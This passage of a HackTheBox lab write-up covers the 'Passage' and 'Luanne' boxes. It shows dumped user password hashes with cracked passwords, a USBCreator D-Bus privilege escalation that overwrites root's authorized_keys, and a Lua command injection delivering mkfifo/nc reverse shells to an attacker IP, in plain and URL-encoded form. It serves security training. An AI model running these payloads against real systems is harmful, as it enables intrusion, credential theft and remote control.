&gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}&amp;rsquo;&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1598829833;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:5:&amp;ldquo;admin&amp;rdquo;;a:8:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483047&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;1&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487988&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483281;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:17:&amp;ldquo;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt;&amp;rdquo;;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483236;s:10:&amp;ldquo;paul-coles&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;sid-meier&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483281&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Sid Meier&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485645&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483047;s:5:&amp;ldquo;admin&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:5:&amp;ldquo;email&amp;rdquo;;a:1:{s:15:&amp;ldquo;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&amp;rdquo;;s:9:&amp;ldquo;sid-meier&amp;rdquo;;}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:10:&amp;ldquo;paul-coles&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483236&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:10:&amp;ldquo;paul-coles&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:16:&amp;ldquo;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:10:&amp;ldquo;Paul Coles&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592485556&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;2&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:9:&amp;ldquo;kim-swift&amp;rdquo;;a:9:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1592483309&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:9:&amp;ldquo;kim-swift&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:9:&amp;ldquo;Kim Swift&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&amp;rdquo;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1592487096&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:3:&amp;ldquo;cnt&amp;rdquo;;s:1:&amp;ldquo;3&amp;rdquo;;}}}'&#10;b&amp;rsquo;a:1:{s:4:&amp;ldquo;name&amp;rdquo;;a:1:{s:6:&amp;ldquo;egre55&amp;rdquo;;a:11:{s:2:&amp;ldquo;id&amp;rdquo;;s:10:&amp;ldquo;1598829833&amp;rdquo;;s:4:&amp;ldquo;name&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:3:&amp;ldquo;acl&amp;rdquo;;s:1:&amp;ldquo;4&amp;rdquo;;s:5:&amp;ldquo;email&amp;rdquo;;s:15:&amp;ldquo;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&amp;rdquo;;s:4:&amp;ldquo;nick&amp;rdquo;;s:6:&amp;ldquo;egre55&amp;rdquo;;s:4:&amp;ldquo;pass&amp;rdquo;;s:64:&amp;ldquo;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&amp;rdquo;;s:4:&amp;ldquo;more&amp;rdquo;;s:60:&amp;ldquo;YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==&amp;quot;;s:3:&amp;ldquo;lts&amp;rdquo;;s:10:&amp;ldquo;1598834079&amp;rdquo;;s:3:&amp;ldquo;ban&amp;rdquo;;s:1:&amp;ldquo;0&amp;rdquo;;s:6:&amp;ldquo;avatar&amp;rdquo;;s:26:&amp;ldquo;avatar_egre55_spwvgujw.php&amp;rdquo;;s:6:&amp;ldquo;e-hide&amp;rdquo;;s:0:&amp;rdquo;&amp;quot;;}}}'&#10;b&amp;rsquo;a:1:{s:2:&amp;ldquo;id&amp;rdquo;;a:1:{i:1592483309;s:9:&amp;ldquo;kim-swift&amp;rdquo;;}}'&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I organized the results.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:nadav@passage.htb" &gt;nadav@passage.htb&lt;/a&gt; 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:sid@example.com" &gt;sid@example.com&lt;/a&gt;&#9;4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt;&#9;e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:kim@example.com" &gt;kim@example.com&lt;/a&gt;&#9;f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt;&#9;4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:paul@passage.htb" &gt;paul@passage.htb&lt;/a&gt; was atlanta1.&lt;/p&gt;&#10;&lt;p&gt;The password for &lt;a class="link" href="mailto:egre55@test.com" &gt;egre55@test.com&lt;/a&gt; was egre55.&lt;/p&gt;&#10;&lt;p&gt;The others did not crack with rockyou, and online sites had no results either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0680.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully escalated to paul.&lt;/p&gt;&#10;&lt;p&gt;paul&amp;rsquo;s private key was under .ssh. I extracted it and prepared to connect over ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0681.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But while examining the public key, I noticed that the user at the end was not paul.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0682.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0683.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They apparently used the same key pair.&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0684.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;find / -group dip -not -path &amp;ldquo;/proc/*&amp;rdquo; 2&amp;gt;/dev/null&lt;/p&gt;&#10;&lt;p&gt;I did not find much belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;Notably, nadav belonged to the sudo group, meaning he could run sudo. This differed from paul.&lt;/p&gt;&#10;&lt;p&gt;But sudo -l required a password. My current plan was therefore to find it. I searched everything and found no password at all.&lt;/p&gt;&#10;&lt;p&gt;I began looking at suid files and found something unfamiliar.&lt;/p&gt;&#10;&lt;p&gt;/bin/ntfs-3g&#9;I searched for a privilege-escalation method.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0685.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0686.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It errored, so I investigated the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0687.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The errors mainly occurred at the final two points. I kept searching for vulnerabilities and found a very good post.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&amp;amp;u_asig=0a472f9117302920303012094e00b0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It suggested using:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/41356" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/41356&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://project-zero.issues.chromium.org/issues/42450079" target="_blank" rel="noopener"&#10; &gt;https://project-zero.issues.chromium.org/issues/42450079&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;one of the two exps above. That was correct. I tried both, but each produced:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0688.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This path clearly did not work.&lt;/p&gt;&#10;&lt;p&gt;I had no ideas afterward, so I inspected the home directories again. Earlier I had focused only on passwords and missed this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0689.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was not a conventional configuration file. I started searching for related vulnerabilities.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/" target="_blank" rel="noopener"&#10; &gt;https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The bottom of this page explained how to use it. Perhaps my search method was flawed, because this was the only article I found that actually showed the procedure, all the way at the bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0690.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I had a command, I searched google for &amp;ldquo;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator&amp;rdquo;.&lt;/p&gt;&#10;&lt;p&gt;That led to this site:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://kashz.gitbook.io/kashz-jewels/services/usbcreator" target="_blank" rel="noopener"&#10; &gt;https://kashz.gitbook.io/kashz-jewels/services/usbcreator&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Its commands were very detailed. I assembled the command:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/root/root.txt&amp;rsquo; &amp;lsquo;/tmp/1111.txt&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0691.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I obtained the flag, but I still wanted a proper privilege escalation. Since I could write arbitrary files:&lt;/p&gt;&#10;&lt;p&gt;gdbus call &amp;ndash;system &amp;ndash;dest com.ubuntu.USBCreator &amp;ndash;object-path /com/ubuntu/USBCreator &amp;ndash;method com.ubuntu.USBCreator.Image &amp;lsquo;/home/nadav/.ssh/authorized_keys&amp;rsquo; &amp;lsquo;/root/.ssh/authorized_keys&amp;rsquo; true&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0692.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was quite different from the earlier ones. The privilege-escalation methods in the later boxes are becoming increasingly varied, so I simply need to practice more of them.&lt;/p&gt;&#10;&lt;h2 id="29luanne"&gt;&lt;a href="#29luanne" class="header-anchor"&gt;&lt;/a&gt;29.Luanne&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0693.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0694.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218/&lt;/a&gt; required a login, so I brute-forced it first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The request returned 404, so I continued brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Visiting it showed that this was a weather endpoint with a lua backend.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I consulted several articles. Since the backend was written in lua, command injection might be present.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/" target="_blank" rel="noopener"&#10; &gt;https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gtfobins.github.io/gtfobins/lua/" target="_blank" rel="noopener"&#10; &gt;https://gtfobins.github.io/gtfobins/lua/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Testing showed that commands could not be executed directly. It only returned the supplied input. A single quote produced an error, while most other inputs did not.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked the language documentation. The code might have been written this way: close the value with &amp;lsquo;, then use &amp;lsquo;; to execute another command. Since the output here was only a string, closing the preceding expression would let me append a command.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did not work in practice, so I kept trying. The closing syntax was probably wrong. This sort of command injection also required commenting out the trailing code so it would not interfere with mine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After a long search I found the correct closing syntax. The &amp;rsquo; was definitely relevant or it would not have caused an error, but a lone &amp;rsquo; did not work. After many more attempts, &amp;lsquo;) succeeded.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)&amp;ndash;+&lt;/a&gt;os.execute(%22id%22)&amp;ndash;+)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I then tried many times to get a reverse shell, without success. nc worked, but could not establish a shell connection.&lt;/p&gt;&#10;&lt;p&gt;I suspected the shell might be wrong. Testing showed that the current user&amp;rsquo;s shell was /bin/sh, yet it still would not connect back. I put the reverse shell aside and inspected other files first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a .htpasswd in the current directory.&lt;/p&gt;&#10;&lt;p&gt;It cracked to webapi_user:iamthebest.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 22 still did not work.&lt;/p&gt;&#10;&lt;p&gt;Neither did 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no /etc/passwd entry, meaning this was only a website account. Then I remembered that port 80 also had a login page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out to be the same thing as before, with no meaningful difference.&lt;/p&gt;&#10;&lt;p&gt;There were very few entry points left: a url where the reverse shell did not work, and an unknown website on 9001.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The lua reverse shell was also missing a library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;lsquo;) os.execute(&amp;ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.16.21 6666 &amp;gt;/tmp/f&amp;rdquo;) &amp;ndash;+&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It finally worked. This was absurd: sh could not find the command without an explicit path. It also seemed that Burp Suite&amp;rsquo;s URL encoding added an extra carriage return, or something similar.&lt;/p&gt;&#10;&lt;p&gt;Nothing worked for ages. It felt like superstition.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As an aside, I had a bad feeling from the moment I saw the rating.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not get a tty.&lt;/p&gt;&#10;&lt;p&gt;I tried many privilege-escalation checks, but a lot of familiar tools seemed to be missing. I searched for NetBSD 9.0.&lt;/p&gt;&#10;&lt;p&gt;Its commands appeared somewhat different from ordinary linux commands.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Local ports 3000 and 3001 were listening.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authentication was easy. I had credentials from above that worked on the weather endpoint. I had seen this authentication scheme many times; tomcat is a classic example.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3000" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;curl &lt;a class="link" href="http://127.0.0.1:3001" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3001&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;Ports 3000 and 3001 appeared to serve the same thing.&lt;/p&gt;&#10;&lt;p&gt;I had an idea: the two services were identical, but perhaps they had been started by different users. I knew very little about bsd commands, so I searched google as best I could for “how to see which user opened a port on bsd.”&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both were present, so I tried them. I already had the exp anyway.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;curl &amp;ldquo;&lt;a class="link" href="http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b%22" target="_blank" rel="noopener"&#10; &gt;http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b&amp;rdquo;&lt;/a&gt; -H &amp;ldquo;Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==&amp;rdquo;&lt;/p&gt;&#10;&#10; 